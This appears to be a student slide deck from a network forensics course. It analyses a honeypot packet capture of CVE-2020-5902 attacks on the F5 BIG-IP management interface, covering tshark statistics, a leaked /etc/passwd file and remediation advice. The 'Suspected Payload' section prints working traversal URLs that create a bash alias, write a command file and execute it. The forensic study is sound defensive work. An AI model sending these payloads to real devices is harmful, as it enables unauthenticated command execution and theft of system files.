



NETWORK FORENSICS
(COMP6348001)

Forensic Analysis of Unauthorized Configuration File Access

Investigating F5 BIG-IP Exploitation via Network
Traffic Capture



Introduction



- Essential for systematic recovery and analysis of security traces to detect malicious activity and determine root causes.
- Analysis performed on a packet capture file derived from a specialized Honeypot environment.
- **The Honeypot Strategy** entices attacks, for safe examination of malicious behavior without risking production systems.

PCAP Information

- Dataset: f5-honeypot-release.pcap
- Network packet capture of exploitation attempts against F5 BIG-IP Management Interface (CVE-2020-5902)
- HTTP traffic consistent with known directory traversal and file disclosure exploitation behavior

Evidence Integrity

- SHA-256 Hash:
- 9d916288d6c77a95e077fd9d0b54142f1c461ee255058
8b209c2efde868896c0



Conversations

```
(kali㉿kali)-[~/google]  
$ tshark -r f5-honeypot-release.pcap -q -z conv,ip
```

IPv4 Conversations

Filter:<No Filter>

		←		→		Total	Relative	Duration
		Frames	Bytes	Frames	Bytes	Frames	Start	
123.45.67.89	↔ 127.0.0.1	425336	448 MB	435808	61 MB	861144	510 MB	0.000000000 7160792.4425

- Primary Conversation: 123.45.67.89 ↔ 127.0.0.1
- Total Traffic: 861,144 frames (~510 MB)
- Duration: ~7.16 million seconds (long-lived activity)

Key Observation:

- External requests routed to internal management services

Significance:

- Consistent with CVE-2020-5902 exploitation behavior

Protocol Hierarchy Statistics

Dominant Protocol: HTTP over TCP

Attack Vector: Web-based management interface

Exploit Alignment: Matches CVE 2020-5902 behavior

No encrypted HTTPS used

Conclusion: Attack relies solely on crafted HTTP requests

```
(kali@kali)-[~/google]
$ tshark -r f5-honeypot-release.pcap -q -z io,phs
```

Protocol Hierarchy Statistics

Filter:

```
eth frames:861144 bytes:510050964
  ip frames:861144 bytes:510050964
    tcp frames:861144 bytes:510050964
      http frames:188993 bytes:188431987
        data-text-lines frames:91476 bytes:141913552
          tcp.segments frames:15637 bytes:8407961
        media frames:768 bytes:4705142
          tcp.segments frames:632 bytes:4250161
        png frames:309 bytes:1642885
          tcp.segments frames:34 bytes:199580
        json frames:716 bytes:529466
        data frames:1452 bytes:1424379
          tcp.segments frames:78 bytes:76498
        urlencoded-form frames:3211 bytes:2112542
          tcp.segments frames:64 bytes:26019
        tcp.segments frames:707 bytes:55259
        xml frames:1008 bytes:1350745
          tcp.segments frames:306 bytes:86262
        dns frames:57 bytes:26655
```

Suspected Payload

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?

command=create+cli+alias+private+list+command+bash

/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd\

- Exploit Type: Command Execution (CVE-2020-5902)
- Technique: Abusing BIG-IP management interface (tmsh)

Observed Actions:

- Create CLI alias mapped to bash
- Write command to /tmp
- Execute command
- Remove alias (cleanup)

Impact:

Full administrative command execution on the device

Successful Exploitation Attempts

Targeted Sensitive Files:

- /etc/passwd
- /config/bigip.conf

```
(kali㉿kali)-[~/google]
$ tshark -r f5-honeypot-release.pcap \
-Y 'tcp.stream == 64345 && http.response' \
-T fields -e http.file_data > passwd_raw.txt
```

```
(kali㉿kali)-[~/google]
$ cat passwd_raw.txt
0a0a0a0a7b226f7574707574223a22726f6f743a783a303a303a726f6f743a5c2f726f6f743a5c2f62696e5c2f626173685c6e62696e3a783a313a313
61656d6f6e3a783a323a323a6461656d6f6e3a5c2f7362696e3a5c2f7362696e5c2f6e6f6c6f67696e5c6e61646d3a783a333a343a61646d3a5c2f766
3a343a373a6c703a5c2f7661725c2f73706f6f6c5c2f6c70643a5c2f7362696e5c2f6e6f6c6f67696e5c6e6d61696c3a783a383a31323a6d61696c3a5
6c6f67696e5c6e6f70657261746f723a783a31313a303a6f70657261746f723a5c2f726f6f743a5c2f7362696e5c2f6e6f6c6f67696e5c6e6e6f626f6
6e6f6c6f67696e5c6e746d73686e6f626f64793a783a33323736353a33323736353a746d73686e6f626f64793a5c2f3a5c2f7362696e5c2f6e6f6c6f6
3a5c2f686f6d655c2f61646d696e3a5c2f7573725c2f62696e5c2f746d73685c6e766373613a783a36393a36393a7669727475616c20636f6e736f6c6
6e6f6c6f67696e5c6e73797374656d642d6275732d70726f78793a783a3937343a3939383a73797374656d64204275732050726f78793a5c2f3a5c2f7
6b3a783a3139323a3139323a73797374656d64204e6574776f726b204d616e6167656d656e743a5c2f3a5c2f7362696e5c2f6e6f6c6f67696e5c6e646
733a5c2f3a5c2f7362696e5c2f6e6f6c6f67696e5c6e706f6c6b6974643a783a32373a32373a5573657220666f7220706f6c6b6974643a5c2f3a5c2f7
4c44415020436c69656e7420557365723a5c2f3a5c2f7362696e5c2f6e6f6c6f67696e5c6e7473733a783a35393a35393a4163636f756e74207573656
73616e64626f78207468652074637364206461656d6f6e3a5c2f6465765c2f6e756c6c3a5c2f7362696e5c2f6e6f6c6f67696e5c6e706f73746772657
2f7661725c2f6c6f63616c5c2f706773716c5c2f646174613a5c2f7362696e5c2f6e6f6c6f67696e5c6e746f6d6361743a783a39313a39313a4170616
61743a5c2f7362696e5c2f6e6f6c6f67696e5c6e6873716c64623a783a39363a39363a3a5c2f7661725c2f6c69625c2f6873716c64623a5c2f7362696
696c6567652d736570617261746564205353483a5c2f7661725c2f656d7074795c2f737368643a5c2f7362696e5c2f6e6f6c6f67696e5c6e7270633a7
2f6c69625c2f72706362696e643a5c2f7362696e5c2f6e6f6c6f67696e5c6e6e74703a783a33383a33383a3a5c2f6574635c2f6e74703a5c2f7362696
39393a3439393a66352072656d6f74652075736572206163636f756e743a5c2f686f6d655c2f66355f72656d6f7465757365723a5c2f7362696e5c2f6
5c2f7362696e5c2f6e6f6c6f67696e5c6e6f70726f66696c653a783a31363a31363a5370656369616c2075736572206163636f756e7420746f2062652
6e6f6c6f67696e5c6e73646d3a783a3139313a3939363a73646d757365723a5c2f7661725c2f73646d3a5c2f62696e5c2f66616c73655c6e6e616d656
5c2f62696e5c2f66616c73655c6e6170616368653a783a34383a34383a4170616368653a5c2f7573725c2f6c6f63616c5c2f7777773a5c2f7362696e5
```

Hex encoded

Plain text

```
(kali㉿kali)-[~/google]
$ cat passwd_raw.txt | tr -d '\n' | xxd -r -p > etc_passwd.txt
```

```
(kali㉿kali)-[~/google]
$ cat etc_passwd.txt
```

```
{ "output": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\nndaemon:x:2:2:daemon:/sbin:/sbin/no
login\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nmail:x:8:12:mail:/var/s
pool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\ntm
shnobody:x:32765:32765:tmshnobody:/:/sbin/nologin\nadmin:x:0:500:Admin User:/home/admin:/usr/bin/tmsh\nvcsa:x:69:
69:virtual console memory owner:/dev:/sbin/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:/:/sbin/nologin\n
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\nndbus:x:81:81:System message bus:/:/sbin/nolog
in\npolkitd:x:27:27:User for polkitd:/:/sbin/nologin\nnslcd:x:65:55:LDAP Client User:/:/sbin/nologin\ntss:x:59:59:A
ccount used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\npostgres:x:26:26:PostgreSQL S
erver:/var/local/pgsql/data:/sbin/nologin\ntomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin\nhsqlld
b:x:96:96:/var/lib/hsqldb:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nr
pc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nntp:x:38:38:/etc/ntp:/sbin/nologin\nnf5_remoteuser:x:4
99:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin\ntcpdump:x:72:72:/:/sbin/nologin\noprofile:x:16:1
6:Special user account to be used by OProfile:/:/sbin/nologin\nsdm:x:191:996:sdmuser:/var/sdm:/bin/false\nnamed:x:
25:25:Named:/var/named:/bin/false\napache:x:48:48:Apache:/usr/local/www:/sbin/nologin\nsyscheck:x:199:10:/:/s
bin/nologin\nmysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin\nrestnoded:x:198:198:/:/sbin/nologin\nuser
:x:0:500:user:/home/user:/bin/bash\nsystems:x:0:500:systems:/home/systems:/bin/bash\nf5admin:x:0:500:f5admin:/ho
me/f5admin:/bin/bash\ntest0:x:0:500:test0:/home/test0:/bin/bash\nf5_localuser:x:0:500:f5_localuser:/home/f5_loca
luser:/bin/bash\nsupporter:x:0:500:supporter:/home/supporter:/bin/bash\nsnmpd:x:0:500:snmpd:/home/snmpd:/bin/ba
sh\nlocaladmin:x:0:500:localadmin:/home/localadmin:/bin/bash\n"}
}
```

Failed Exploitation Attempts

Targeted Sensitive Files:

- /etc/shadow (password hashes)
- /config/bigip.conf (device configuration).

Result:

- HTTP 500 Internal Server Errors.
- Analysis: While the application was vulnerable, OS-level file permissions successfully blocked the extraction of these specific files.



Recommendations for Remediation



Patching:

- Immediate upgrade of F5 BIG-IP software to patched versions (e.g., 15.1.0.4+).

Access Control:

- Restrict TMUI access to trusted internal IP ranges or VPNs.

Account Audit:

- Reduce the number of UID 0 accounts to minimize privilege escalation risk.

Filtering:

- Apply WAF rules to detect and drop requests containing ..; traversal sequences.

Conclusion

- Attack Summary: Confirmed automated exploitation of BIG-IP via unauthenticated directory traversal.
- Final Verdict: Reconstructed workflow proves a systematic progression from reconnaissance to data theft, necessitating immediate patching and strict access controls.



Thank you